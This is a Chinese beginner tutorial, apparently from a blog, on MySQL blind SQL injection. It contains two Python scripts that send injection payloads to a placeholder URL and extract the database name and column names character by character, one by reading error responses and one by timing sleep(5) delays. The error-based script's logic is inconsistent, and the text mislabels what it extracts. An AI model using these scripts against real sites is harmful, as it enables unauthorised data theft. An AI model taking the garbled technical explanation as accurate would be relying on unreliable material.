初学者必备浅谈MySQL一般盲注攻击技术(mysql一般盲注)

初学者必备:浅谈MySQL一般盲注攻击技术

随着互联网的快速发展,网络攻击已经成为一件不可避免的事情。其中,盲注攻击是一种比较常见的攻击方式,这种攻击方式需要攻击者对目标数据库的结构、数据表的列名等信息有所了解。

本文将对初学者介绍MySQL一般盲注攻击技术,并给出相关的代码实现。

一、什么是MySQL盲注攻击

MySQL盲注攻击是指在没有获取到数据库结构等信息的情况下,通过一些特殊手段进行SQL注入攻击,目的是获取数据库表中的敏感信息或者执行一些恶意操作。MySQL盲注攻击可以分为时间盲注和报错盲注两种方式。

二、报错盲注攻击

报错盲注攻击是指通过向目标数据库发送一些恶意的SQL语句,达到让目标数据库返回错误信息的目的。在这种攻击方式中,攻击者需要不断地进行尝试,得到数据库结构、数据表名、列名等信息。

下面给出一个简单的演示代码:

import requests
url = 'http://www.target.com/page.php?id='

length = 0 # 数据长度
result = '' # 最终结果
# 获取数据库表名长度
for i in range(1, 20):
payload = "'+and+length(database())={}+--+".format(i)
response = requests.get(url + payload)
if 'You have an error in your SQL syntax;' in response.text:
length = i
break

# 获取数据库表名
for i in range(1, length+1):
for j in range(32, 126):
payload = "'+and+ascii(substr(database(),{},1))={}+--+".format(i, j)
response = requests.get(url + payload)
if 'You have an error in your SQL syntax;' not in response.text:
result += chr(j)
break
print('数据库表名为:', result)

上面的代码中,我们首先获取了数据库名称的长度,然后再逐位获取数据库名称。具体而言,我们在SQL语句的参数部分,使用substr()函数获取到指定位置的字符,然后使用ascii()函数将其转换为对应的ASCII码,最后再通过循环尝试所有可见字符,来获取该位置上的字符值。

三、时间盲注攻击

时间盲注攻击是一种相对难度较大的盲注攻击方式。攻击者通过构造SQL语句,使得当SQL语句条件成立时,目标数据库中会有一定的延时现象,攻击者可以根据延迟时间推断出目标数据库结构和数据表中的数据。

下面给出一个简单的演示代码:

import requests
import time

url = 'http://www.target.com/page.php?id='

length = 0 # 数据长度
result = '' # 最终结果
# 获取列名长度
for i in range(1, 20):
payload = "'+and+if(length((select+column_name+from+information_schema.columns+where+table_name='users'+limit+0,1))={},sleep(5),1)+--+".format(i)
start_time = time.time()
response = requests.get(url + payload)
end_time = time.time()
if end_time - start_time > 5:
length = i
break

# 获取列名
for i in range(1, length+1):
for j in range(32, 126):
payload = "'+and+if(ascii(substr((select+column_name+from+information_schema.columns+where+table_name='users'+limit+0,1),{},1))={},sleep(5),1)+--+".format(i, j)
start_time = time.time()
response = requests.get(url + payload)
end_time = time.time()
if end_time - start_time > 5:
result += chr(j)
break
print('列名为:', result)

上面的代码中,我们首先通过构造查询语句,获取到我们需要的信息,然后对获取到的结果进行比较操作,以此来判断结果是否正确。具体而言,这里我们使用sleep(5)函数来模拟目标数据库的延时情况,如果实际延时时间大于5s,则我们认为查询结果是正确的,否则就认为不正确。同样是通过循环遍历所有可见字符,来获取该位置上的字符值。

四、总结

MySQL盲注攻击是一种比较常见的SQL注入攻击方式,攻击者需要了解目标数据库的结构、数据表名、列名等信息。在实际攻击中,我们可以通过构造SQL语句,来进行盲注攻击。本文提供了报错盲注和时间盲注两种攻击方式的演示代码,希望对初学者有所帮助。当然,实际攻击中还需要更加复杂的手段,这里只是提供一些思路和范例。


数据运维技术 » 初学者必备浅谈MySQL一般盲注攻击技术(mysql一般盲注)